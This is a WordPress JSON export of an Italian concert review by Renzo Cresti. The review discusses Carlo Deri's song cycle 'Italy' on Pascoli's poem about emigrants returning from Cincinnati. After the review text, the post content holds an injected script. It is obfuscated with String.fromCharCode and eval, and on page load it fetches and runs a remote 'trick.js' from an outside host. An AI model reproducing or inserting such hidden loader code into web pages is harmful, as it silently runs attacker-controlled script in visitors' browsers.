{"id":554,"date":"2013-09-13T17:54:17","date_gmt":"2013-09-13T17:54:17","guid":{"rendered":"http:\/\/www.carloderi.com\/?p=554"},"modified":"2013-10-08T20:46:31","modified_gmt":"2013-10-08T20:46:31","slug":"carlo-deri-italy-di-renzo-cresti","status":"publish","type":"post","link":"https:\/\/www.carloderi.com\/?p=554","title":{"rendered":"Carlo Deri, Italy"},"content":{"rendered":"<p style=\"text-align: justify;\" align=\"center\"><strong>RECENSIONE di RENZO CRESTI<\/strong><\/p>\n<p style=\"text-align: justify;\" align=\"center\"><em>dalle note del programma di sala di<\/em> Musica per la poesia: Carlo Deri compone sui testi di Ungaretti, Pavese e Pascoli.<em> Pisa, Teatro Verdi, 27 settembre 2006; Barga, Teatro dei Differenti 14 ottobre 2006<\/em><\/p>\n<p style=\"text-align: center;\" align=\"center\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Locandina-Teatro-Verdi.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-556 alignleft\" alt=\"Locandina Teatro Verdi\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Locandina-Teatro-Verdi.jpg\" width=\"301\" height=\"432\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Locandina-Teatro-Verdi.jpg 502w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Locandina-Teatro-Verdi-209x300.jpg 209w\" sizes=\"auto, (max-width: 301px) 100vw, 301px\" \/><\/a>Carlo Deri, <i>Italy<\/i><\/p>\n<p style=\"text-align: center;\" align=\"center\">di Renzo Cresti<\/p>\n<p style=\"text-align: justify;\">In un momento dove, anche nel mondo della musica, si assiste al frazionamento dei saperi e alla professionalit\u00e0 svolta in un solo settore particolare, Carlo Deri \u00e8 quello che si usa definire un <i>musicista completo<\/i>: compositore \u2013\u00a0 allievo di Carlo Prosperi al Conservatorio di Firenze \u2013, pianista di buona lettura, musicologo e analista \u2013 ha infatti pubblicato approfonditi saggi e analisi \u2013, conferenziere convincente e didatta appassionato, animatore infaticabile della vita musicale toscana, quale Direttore artistico o Presidente di varie Associazioni. Dal 1983 \u00e8 insegnante alla Scuola \u201cBonamici\u201d e nel 1986 ne assume la direzione; recentemente ha collaborato con il Conservatorio dell\u2019Universit\u00e0 di Cincinnati che dal 2002 gli ha realizzato l\u2019esecuzione di diversi pezzi sia negli Stati Uniti che in Italia, fra cui uno dei brani pi\u00f9 impegnativi del suo catalogo, <i>Italy<\/i>.<\/p>\n<p style=\"text-align: justify;\">Lo studio con Prosperi a Firenze ha fortemente segnato la sua scrittura e la sua poetica. Si \u00e8 da subito legato all\u2019Umanesimo fiorentino, riprendendone l\u2019attenzione alla forma e all\u2019asciutta espressivit\u00e0, comprendendo che l\u2019annoso problema del rapporto tra forma e contenuto \u00e8 mal posto; infatti i due termini non sono antitetici, ma complementari: l\u2019uno rafforza l\u2019altro e, nei casi migliori, sono tutt\u2019uno.<\/p>\n<p style=\"text-align: justify;\">Deri possiede la capacit\u00e0 di immettere nella musica un\u2019onda di commozione autentica, fra intimismo e partecipazione civica; sa bene qual \u00e8 l\u2019importanza del lavoro artigianale e l\u2019affianca all\u2019estro e alla <i>necessit\u00e0 interiore<\/i> della comunicazione. Infatti la forma, specie nei brani con testo, non \u00e8 pre-ordinata, ma intuita; non ci sono complessi e cervellotici piani preparatori, ma la scrittura procede seguendo l\u2019ascolto del <i>suono interiore<\/i>. Disciplina e rapimento espressivo convivono con reciproco vantaggio.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Teatro-Verdi-dal-palcoscenico.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-557 alignright\" alt=\"Teatro Verdi dal palcoscenico\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Teatro-Verdi-dal-palcoscenico.jpg\" width=\"423\" height=\"281\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Teatro-Verdi-dal-palcoscenico.jpg 604w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Teatro-Verdi-dal-palcoscenico-300x199.jpg 300w\" sizes=\"auto, (max-width: 423px) 100vw, 423px\" \/><\/a>L\u2019interesse prevalente di Deri \u00e8 la musica da camera e in particolare quella con la voce: <i>\u201cla voce umana ha sempre destato in me molto interesse, per la duttilit\u00e0 dello strumento-voce, che offre una tavolozza di sfumature letteralmente esaltanti, ma anche perch\u00e9 mi d\u00e0 la possibilit\u00e0 di sposare la musica con la poesia\u201d <\/i>\u2013 dice lo stesso Deri<i>. \u201cMi lascio guidare dalla liricit\u00e0 del testo e quindi, dal punto di vista formale, la struttura si modella da s\u00e9. Invece nelle composizioni strumentali, dove sento maggiore l\u2019impegno di scelte formali, mi diverto a cercare impasti timbrici e soluzioni armoniche che colpiscano la mia fantasia\u201d.<\/i> Negli anni Ottanta il percorso di Deri inizia con lavori di un certo impegno tecnico-formale, come <i>Passa<\/i><i>caglia<\/i> (1984) per due flauti e come la contrappuntistica <i>Sonata<\/i> (1986) per due flauti e pianoforte, composizioni di ricerca linguistica e dal suono un po\u2019 duro che, se paragonate a quelle scritte un decennio pi\u00f9 tardi, paiono ancora preoccupate di ricercare la novit\u00e0 sonora e legate a un disegno intellettuale che lascer\u00e0 il posto a un procedere pi\u00f9 immediato ed evidente nel suo disporsi, come nel fortunato pezzo <i>Dromos<\/i> (1998) che ha giustamente conosciuto molte esecuzioni, per voce recitante su testi di Giuseppe Bonamici e sette strumenti. <i>Dromos<\/i> \u00e8 un pezzo assai esemplificativo della flessibilit\u00e0 metodologica: qui infatti Deri usa, come di rado gli capita, la dodecafonia, ma nelle sue mani questo sistema inesorabile perde la sua rigidezza per piegarsi alle esigenze espressive dei versi poetici. Bellissimi i recenti pezzi pianistici, dove si equilibrano ricerca (specie in <i>Improvviso n. 2<\/i>) e soliloquio espressivo (come in <i>Notturno n. 2<\/i> e in <i>Incanto, <\/i>nei quali la forma libera si struttura prevalentemente seguendo modalit\u00e0 timbriche).<\/p>\n<p style=\"text-align: justify;\">Anche per i pezzi con testo si pu\u00f2 notare un\u2019articolazione diversa fra i lavori degli anni Ottanta, come le <i>Due liriche di Pavese<\/i>, un brano importante per canto e pianoforte, e quelli recenti, come appunto <i>Italy<\/i>, dove si ascoltano momenti tonali, lirici, evocativi o descrittivi (come pure nel pianistico <i>Distanze<\/i> del 2003), pezzi dunque che si dipanano come un <i>processo<\/i> espressivo e non solo come progetto compositivo. Dal lungo poemetto che Pascoli scrisse nel 1904, Deri ricava, talvolta anche assemblando versi da strofe diverse, sei liriche, a ciascuna delle quali d\u00e0 un titolo. La storia \u00e8 quella di due fratelli che tornano dall\u2019America, \u201cda Cincinnati, Ohio\u201d, portando la nipotina Maria (detta Molly), malata di tisi, a guarire in Italia. Il fenomeno dell\u2019emigrazione, che in Garfagnana inizia nell\u2019Ottocento e prosegue fino al secondo dopoguerra del Novecento, \u00e8 tema assai attuale anche se rovesciato: oggi non sono pi\u00f9 gli Italiani ad andare a cercare lavoro all\u2019estero ma \u00e8 la povera gente dell\u2019Est europeo, dell\u2019Asia e dell\u2019Africa, a tentare la fortuna nel nostro Paese. La scelta di questo argomento \u00e8 allora anche un monito alla memoria e all\u2019accoglienza.<\/p>\n<p style=\"text-align: justify;\">La voce \u00e8 spesso declamata e al pianoforte si affidano i mutamenti espressivi: straordinaria \u00e8 la simpatia che si crea fra la musica e i versi di Pascoli, come se Deri avesse trovato l\u2019<i>humus<\/i> privilegiato che gli consente di toccare le corde dell\u2019afflato intimista, che va dall\u2019elegiaco alla tristezza, dal nostalgico al dolente. Quartine ostinate e marcate, che cedono il posto a sestine discendenti, introducono la voce in <i>recto tono<\/i>: spesso la voce declama su una sorta di immaginario tono di recita. Il tempo muta rapidissimamente dal 7\/4 al 2\/4, dal 2\/8 al 3\/8, fornendo quell\u2019andamento un po\u2019 claudicante ch\u2019\u00e8 tipico di tutto il pezzo, una flessibilit\u00e0 (e un rubato) che \u00e8 anche tentennamento esistenziale (\u201cesitante\u201d si legge nello spartito), simbolo dell\u2019insicurezza dei protagonisti, un\u2019incertezza di vita che viene accentuata anche dalla particolare armonia (molte le sezioni in cui gli accordi pianistici vengono in evidenza) che ricorre pure al <i>cluster<\/i>.<\/p>\n<p style=\"text-align: justify;\">La seconda sezione, \u201cE i figli la rividero alla fiamma del focolare\u201d, inizia in tempo libero, senza battute, con un tessuto sonoro rarefatto sulla parola \u201cmamma\u201d. Interessante la commistione linguistica che Pascoli realizza, fra l\u2019italiano, il dialetto, l\u2019inglese e lo <i>slang<\/i>, commistioni che Deri ben individua e sottolinea con arguzia e intelligenza (bella, anche graficamente, con parole piccole e grandi a seconda del loro modo di essere pronunciate e con le macchie del <i>cluster<\/i>, la pagina in cui si grida \u201c<i>bad country, Ioe, your Italy!<\/i>\u201d). Momenti drammatici descrivono il rapporto della bimba malata con la nonna; qui Deri dimostra di possedere un <i>pathos<\/i> romantico, avvolgente e commovente. \u201cNon piangere, <i>poor Molly<\/i>\u201d, la nonna \u00e8 morta: struggenti accordi diventano poi note lunghe e quindi di nuovo accordi che si dispongono come un tappeto sonoro o come un sudario. Anche il finale \u00e8 affidato ad accordi sospesi, come a indicare che la vicenda non si chiude, ma che la triste storia di questi emigranti si ripeter\u00e0. Deri \u00e8 davvero uno dei Maestri pi\u00f9 acuti, in campo nazionale, nell\u2019individuare le articolazioni armoniche in funzione espressiva, una dote che, abbinata a quella melodica e timbrica, rende la sua musica densa di umori e con una cifra stilistica originale.<\/p>\n<p style=\"text-align: justify;\">Pisa, settembre 2006<\/p>\n<div style=\"text-align: justify;\"><\/div>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>RECENSIONE di RENZO CRESTI dalle note del programma di sala di Musica per la poesia: Carlo Deri compone sui testi di Ungaretti, Pavese e Pascoli. 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